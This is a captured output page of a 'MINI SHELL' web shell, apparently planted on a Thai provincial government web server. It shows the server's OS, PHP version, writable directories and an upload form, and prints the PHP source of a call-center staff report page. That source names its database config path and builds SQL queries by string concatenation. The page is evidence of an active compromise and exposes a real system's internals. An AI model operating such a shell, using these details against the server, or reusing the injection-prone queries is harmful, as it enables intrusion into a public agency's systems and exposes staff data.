MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/report_graph_a4.php
<?
#			session_start();
//			error_reporting(0);
include ("../../../config/conndb_obec.inc.php")  ;
include ("graph.inc.php")  ;
include ("./function.php")  ;


$sql = "
SELECT
Count(ticket_id),
callcenter.officer,
callcenter.contact_point ,
epm_staff.staffname,
epm_staff.staffsurname

FROM
callcenter
Left Join epm_staff ON callcenter.contact_point = epm_staff.staffid
WHERE 
callcenter.chk_confirm = '1' 
GROUP BY
callcenter.contact_point 
ORDER BY Count(ticket_id) DESC
";
$res = mysql_query($sql);
while($o = mysql_fetch_array($res)){
    $arr[count($arr)+1][0] = $o['staffname'].' '.$o['staffsurname'];
    $arr[count($arr)][1] = $o[0];
    $arr[count($arr)][2] = get_time($o['contact_point']); # เวลาเป็นวินาทีทั้งหมดที่รับปััญหา
    $arr[count($arr)][3] = get_time_avg_minute($arr[count($arr)][2]); # เวลาเฉลี่ยเป็นนาที
    $arr[count($arr)][4] = get_time_avg($arr[count($arr)][2]); # เวลาเฉลี่ยเป็นนาที
    
}

function get_time($staff_id){
    global $myconnect;
    $sql = "
    SELECT
    callcenter.date_create,
    callcenter.date_rec,
    callcenter.chk_confirm
    FROM
    callcenter
    WHERE 
    callcenter.chk_confirm != '0' AND 
    callcenter.contact_point =  '".$staff_id."'
    ";
    $res = mysql_query($sql);
    $sec = 0;
    while($o=mysql_fetch_object($res)){
        $diff_time = diff_time($o->date_create, $o->date_rec);
        $sec += $diff_time['total_sec'];
    }
    return $sec;
}

function get_time_avg($total_sec){
    if($total_sec == 0 ) return 0;
    $day = intval($total_sec / 86400); 
    $remain_sec = $total_sec % 86400;

    $hour = intval($remain_sec / 3600);
    $remain_sec = $remain_sec % 3600;

    $minute = intval($remain_sec / 60);
    $remain_sec = $remain_sec % 60;

    if($day != 0) $time .= $day." วัน ";
    $time .= sprintf("%02d", $hour).":";
    $time .= sprintf("%02d", $minute).":";
    $time .= sprintf("%02d", $remain_sec);
    return $time;
}

function get_time_avg_minute($total_sec){
    if($total_sec <= 0 ) return 0;
    $minute = $total_sec / 60;
    return $minute;
}

?>
<HTML>
<HEAD>
<TITLE>รายงานแสดงรายการผู้รับแจ้ง</TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<script src="../js/daily_popcalendar.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>

<?

$datalist = $grouplist = "";
$k=0;
for($i=1;$i<=count($arr);$i++){
	if ($k > 0) {
		$datalist .= ";";
		$grouplist .= ";";
	}
	$datalist .= $arr[$i][1];
	$grouplist .= $arr[$i][0];

	$k++;
}

$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=pie&graphstyle=srd_sf_011";

?>

<form name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
  <tr>
    <td class="fill_bg_add_new2" style="padding-top:15px"><table width="100%" border=0>
      <tr valign=top>
        <td colspan="2" valign="middle" class="report_graph_header">รายงานแสดงรายการผู้รับแจ้ง</td>
        </tr>
      <tr valign=top>
        <td width="480" align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
            <param name="movie" value="<?=$graphurl?>">
            <param name="quality" value="high">
            <embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
          </object>
            <br>
            <table width="150" border="0" cellspacing="0" cellpadding="2">
              <tr>
                <td align="center"><A HREF="<?=$graphurl?>" target=_blank class="menu_inc">แสดงกราฟขนาดใหญ่</A></td>
              </tr>
            </table>
              <br>
              <?

$datalist = $grouplist = "";
$k=0;
for($i=1;$i<=count($arr);$i++){
	if ($k > 0) {
		$datalist .= ";";
		$grouplist .= ";";
	}
	$datalist .= $arr[$i][2];
	$grouplist .= $arr[$i][0];

	$k++;
}

$xname = "เวลาเฉลี่ย (วินาที)";
$yname = "ชื่อ - นามสกุล";

$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=bar&graphstyle=srd_sf_012&xname=$xname&yname=$yname";

?>
              <br>
              <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
                <param name="movie" value="<?=$graphurl?>">
                <param name="quality" value="high">
                <embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240">
                </embed> 
              </object> <br>
              <table width="150" border="0" cellspacing="0" cellpadding="2">
                <tr> 
                  <td align="center"><a href="<?=$graphurl?>" target=_blank class="menu_inc">แสดงกราฟขนาดใหญ่</a></td>
                </tr>
              </table>
            </td>
            <td> 
              <table width="524" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
                <tr bgcolor="#6666FF"> 
                  <th width="41" class="report_graph_tb_head">ลำดับ</th>
                  <th width="165" bgcolor="#aaaaaa" class="report_graph_tb_head">staff</th>
                  <th width="82" bgcolor="#aaaaaa" class="report_graph_tb_head">จำนวนปัญหา</th>
                  <th width="127" bgcolor="#aaaaaa" class="report_graph_tb_head">ระยะเวลาเฉลี่ย</th>
                  <th width="81" bgcolor="#aaaaaa" class="report_graph_tb_head">ระยะเวลาเฉลี่ย 
                    (วินาที)</th>
                </tr>
                <?php
for($i=1;$i<=count($arr);$i++){
    $bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
    $total_problem += $arr[$i][1];
    $total_avg += $arr[$i][2];
?>
                <tr bgcolor="<?=$bg_color;?>"> 
                  <td align=center valign="top" width="41"> 
                    <?=$num;?>
                  </td>
                  <td align=left valign="top" width="165"> 
                    <?=$arr[$i][0];?>
                  </td>
                  <td align=right valign="top" width="82"> 
                    <?=number_format($arr[$i][1]);?>
                    &nbsp;&nbsp;</td>
                  <td align=right valign="top" width="127"> 
                    <?=$arr[$i][4];?>
                    นาที&nbsp;&nbsp;</td>
                  <td align=right valign="top" width="81"> 
                    <?=number_format($arr[$i][2]);?>
                    &nbsp;&nbsp;</td>
                </tr>
                <?php
} # end for

?>
                <tr bgcolor="#EEEEEE"> 
                  <td align=center valign="top" width="41">&nbsp;</td>
                  <td align=left valign="top" width="165"><strong>รวม</strong></td>
                  <td align=right valign="top" width="82"><strong> 
                    <?=number_format($total_problem);?>
                    &nbsp;</strong></td>
                  <td align=right valign="top" width="127"><?=get_time_avg($total_avg);?> นาที&nbsp;</td>
                  <td align=right valign="top" width="81"><strong> 
                    <?=number_format($total_avg);?>
                    &nbsp;</strong></td>
                </tr>
              </table>
            </td>
      </tr>
    </table></td>
  </tr>
</table>
<BR>
</form>
</BODY>
</HTML>

Anon7 - 2021